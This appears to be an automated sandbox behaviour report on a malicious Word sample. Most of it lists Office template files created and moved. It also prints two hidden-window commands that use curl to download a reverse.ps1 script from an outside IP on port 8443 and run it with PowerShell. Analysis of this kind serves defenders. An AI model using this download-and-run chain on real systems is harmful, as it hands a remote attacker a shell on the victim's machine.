Technical Information
To ensure autorun and distribution
Infects the following executable files
- %ProgramFiles(x86)%\microsoft office\office16\winword.exe
Malicious functions
Executes the following (exploit)
- '%WINDIR%\syswow64\curl.exe' -s http://78.85.17.88:8443/reverse.ps1 --output %WINDIR%\Tasks\reva.ps1
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' %WINDIR%\Tasks\reva.ps1
Modifies file system
Creates the following files
- %TEMP%\tcd5f55.tmp\equations.dotx
- %TEMP%\tcd675d.tmp\pictureframe.glox
- %TEMP%\tcd66fd.tmp\content.inf
- %TEMP%\tcd66fd.tmp\ieee2006officeonline.xsl
- %TEMP%\tcd667f.tmp\content.inf
- %TEMP%\tcd667f.tmp\themepicturealternatingaccent.glox
- %TEMP%\tcd65ff.tmp\content.inf
- %TEMP%\tcd65ff.tmp\mlaseventheditionofficeonline.xsl
- %TEMP%\tcd6a3d.tmp\content.inf
- %TEMP%\tcd675d.tmp\content.inf
- %TEMP%\tcd6494.tmp\content.inf
- %TEMP%\tcd6494.tmp\themepictureaccent.glox
- %TEMP%\tcd6425.tmp\content.inf
- %TEMP%\tcd6425.tmp\interconnectedblockprocess.glox
- %TEMP%\tcd6424.tmp\content.inf
- %TEMP%\tcd6424.tmp\pictureorgchart.glox
- %TEMP%\tcd63a4.tmp\content.inf
- %TEMP%\tcd65c0.tmp\content.inf
- %TEMP%\tcd60ea.tmp\turabian.xsl
- %TEMP%\tcd6a3d.tmp\view.thmx
- %TEMP%\tcd750e.tmp\content.inf
- %TEMP%\tcd750e.tmp\banded.thmx
- %TEMP%\tcd750d.tmp\content.inf
- %TEMP%\tcd750d.tmp\circuit.thmx
- %TEMP%\tcd750c.tmp\wood_type.thmx
- %TEMP%\tcd750c.tmp\content.inf
- %TEMP%\tcd750b.tmp\content.inf
- %TEMP%\tcd750b.tmp\varyingwidthlist.glox
- %TEMP%\tcd750a.tmp\parallax.thmx
- %TEMP%\tcd750a.tmp\content.inf
- %TEMP%\tcd7509.tmp\frame.thmx
- %TEMP%\tcd7509.tmp\content.inf
- %TEMP%\tcd71c8.tmp\dividend.thmx
- %TEMP%\tcd71c8.tmp\content.inf
- %TEMP%\tcd6fe3.tmp\parcel.thmx
- %TEMP%\tcd6fe3.tmp\content.inf
- %TEMP%\tcd6d40.tmp\content.inf
- %TEMP%\tcd63a4.tmp\themepicturegrid.glox
- %TEMP%\tcd65c0.tmp\rings.glox
- %TEMP%\tcd63a3.tmp\content.inf
- %TEMP%\tcd63a3.tmp\tabbedarc.glox
- %TEMP%\tcd6373.tmp\content.inf
- %TEMP%\tcd6098.tmp\hexagonradial.glox
- %TEMP%\tcd60e8.tmp\bracketlist.glox
- %TEMP%\tcd6048.tmp\content.inf
- %TEMP%\tcd6098.tmp\content.inf
- %TEMP%\tcd5ef4.tmp\content.inf
- %TEMP%\tcd6049.tmp\content.inf
- %TEMP%\tcd5ef4.tmp\architecture.glox
- %TEMP%\tcd6048.tmp\chicago.xsl
- %TEMP%\tcd6049.tmp\text sidebar (annual report red and black design).docx
- %TEMP%\tcd60e9.tmp\gostname.xsl
- %TEMP%\tcd6047.tmp\iso690.xsl
- %TEMP%\tcd5fa5.tmp\content.inf
- %TEMP%\tcd6017.tmp\gosttitle.xsl
- %TEMP%\tcd5fe7.tmp\content.inf
- %TEMP%\tcd5fa5.tmp\harvardanglia2008officeonline.xsl
- %TEMP%\tcd5fe7.tmp\sist02.xsl
- %TEMP%\tcd5f55.tmp\content.inf
- %TEMP%\tcd7936.tmp\content.inf
- %TEMP%\tcd6d40.tmp\element design set.dotx
- %TEMP%\tcd60e9.tmp\content.inf
- %TEMP%\tcd5ef6.tmp\convergingtext.glox
- %TEMP%\tcd60e8.tmp\content.inf
- %TEMP%\tcd6373.tmp\radialpicturelist.glox
- %TEMP%\tcd62e4.tmp\content.inf
- %TEMP%\tcd62e4.tmp\tablist.glox
- %TEMP%\tcd60ed.tmp\content.inf
- %TEMP%\tcd60ed.tmp\chevronaccent.glox
- %TEMP%\tcd6017.tmp\content.inf
- %TEMP%\tcd5f75.tmp\content.inf
- %TEMP%\tcd60ec.tmp\content.inf
- %TEMP%\tcd5f75.tmp\gb.xsl
- %TEMP%\tcd60ec.tmp\apasixtheditionofficeonline.xsl
- %TEMP%\tcd6047.tmp\content.inf
- %TEMP%\tcd5ef5.tmp\content.inf
- %TEMP%\tcd5ef5.tmp\circleprocess.glox
- %TEMP%\tcd60eb.tmp\content.inf
- %TEMP%\tcd5ef6.tmp\content.inf
- %TEMP%\tcd60eb.tmp\iso690nmerical.xsl
- %TEMP%\tcd60ea.tmp\content.inf
- %TEMP%\tcd7936.tmp\metropolitan.thmx
Moves the following files
- from %TEMP%\tcd5f55.tmp\equations.dotx to %APPDATA%\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm01840907[[fn=equations]].dotx
- from %TEMP%\tcd6424.tmp\pictureorgchart.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328935[[fn=picture organization chart]].glox
- from %TEMP%\tcd6425.tmp\interconnectedblockprocess.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328925[[fn=interconnected block process]].glox
- from %TEMP%\tcd6494.tmp\themepictureaccent.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328975[[fn=theme picture accent]].glox
- from %TEMP%\tcd65ff.tmp\mlaseventheditionofficeonline.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851225[[fn=mlaseventheditionofficeonline]].xsl
- from %TEMP%\tcd65c0.tmp\rings.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328998[[fn=rings]].glox
- from %TEMP%\tcd667f.tmp\themepicturealternatingaccent.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328983[[fn=theme picture alternating accent]].glox
- from %TEMP%\tcd66fd.tmp\ieee2006officeonline.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851222[[fn=ieee2006officeonline]].xsl
- from %TEMP%\tcd675d.tmp\pictureframe.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328932[[fn=picture frame]].glox
- from %TEMP%\tcd6a3d.tmp\view.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457515[[fn=view]].thmx
- from %TEMP%\tcd6d40.tmp\element design set.dotx to %APPDATA%\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm03998158[[fn=element]].dotx
- from %TEMP%\tcd6fe3.tmp\parcel.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001115[[fn=parcel]].thmx
- from %TEMP%\tcd71c8.tmp\dividend.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457464[[fn=dividend]].thmx
- from %TEMP%\tcd7509.tmp\frame.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457475[[fn=frame]].thmx
- from %TEMP%\tcd750a.tmp\parallax.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457496[[fn=parallax]].thmx
- from %TEMP%\tcd750b.tmp\varyingwidthlist.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328990[[fn=varying width list]].glox
- from %TEMP%\tcd750c.tmp\wood_type.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090434[[fn=wood type]].thmx
- from %TEMP%\tcd750d.tmp\circuit.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033919[[fn=circuit]].thmx
- from %TEMP%\tcd63a4.tmp\themepicturegrid.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328986[[fn=theme picture grid]].glox
- from %TEMP%\tcd750e.tmp\banded.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090430[[fn=banded]].thmx
- from %TEMP%\tcd63a3.tmp\tabbedarc.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328951[[fn=tabbed arc]].glox
- from %TEMP%\tcd62e4.tmp\tablist.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328972[[fn=tab list]].glox
- from %TEMP%\tcd5fe7.tmp\sist02.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851227[[fn=sist02]].xsl
- from %TEMP%\tcd5fa5.tmp\harvardanglia2008officeonline.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851221[[fn=harvardanglia2008officeonline]].xsl
- from %TEMP%\tcd6048.tmp\chicago.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851217[[fn=chicago]].xsl
- from %TEMP%\tcd5ef4.tmp\architecture.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328884[[fn=architecture]].glox
- from %TEMP%\tcd6098.tmp\hexagonradial.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328919[[fn=hexagon radial]].glox
- from %TEMP%\tcd60e8.tmp\bracketlist.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328893[[fn=bracketlist]].glox
- from %TEMP%\tcd60e9.tmp\gostname.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851219[[fn=gostname]].xsl
- from %TEMP%\tcd60ea.tmp\turabian.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851226[[fn=turabian]].xsl
- from %TEMP%\tcd60eb.tmp\iso690nmerical.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851224[[fn=iso690nmerical]].xsl
- from %TEMP%\tcd5ef6.tmp\convergingtext.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328916[[fn=converging text]].glox
- from %TEMP%\tcd5ef5.tmp\circleprocess.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328908[[fn=circle process]].glox
- from %TEMP%\tcd6049.tmp\text sidebar (annual report red and black design).docx to %APPDATA%\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835233[[fn=text sidebar (annual report red and black design)]].docx
- from %TEMP%\tcd6047.tmp\iso690.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851223[[fn=iso690]].xsl
- from %TEMP%\tcd60ec.tmp\apasixtheditionofficeonline.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851216[[fn=apasixtheditionofficeonline]].xsl
- from %TEMP%\tcd6017.tmp\gosttitle.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851220[[fn=gosttitle]].xsl
- from %TEMP%\tcd5f75.tmp\gb.xsl to %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851218[[fn=gb]].xsl
- from %TEMP%\tcd60ed.tmp\chevronaccent.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328905[[fn=chevron accent]].glox
- from %TEMP%\tcd6373.tmp\radialpicturelist.glox to %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328940[[fn=radial picture list]].glox
- from %TEMP%\tcd7936.tmp\metropolitan.thmx to %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457491[[fn=metropolitan]].thmx
Network activity
Connects to
- 'me######.#emplates.cdn.office.net':443
- 'bi######.#emplates.cdn.office.net':443
- '78.#5.17.88':8443
TCP
Other
- 'me######.#emplates.cdn.office.net':443
- 'bi######.#emplates.cdn.office.net':443
UDP
- DNS ASK me######.#emplates.cdn.office.net
- DNS ASK bi######.#emplates.cdn.office.net
Miscellaneous
Searches for the following windows
- ClassName: 'OleMainThreadWndClass' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\curl.exe' -s http://78.85.17.88:8443/reverse.ps1 --output %WINDIR%\Tasks\reva.ps1' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' %WINDIR%\Tasks\reva.ps1' (with hidden window)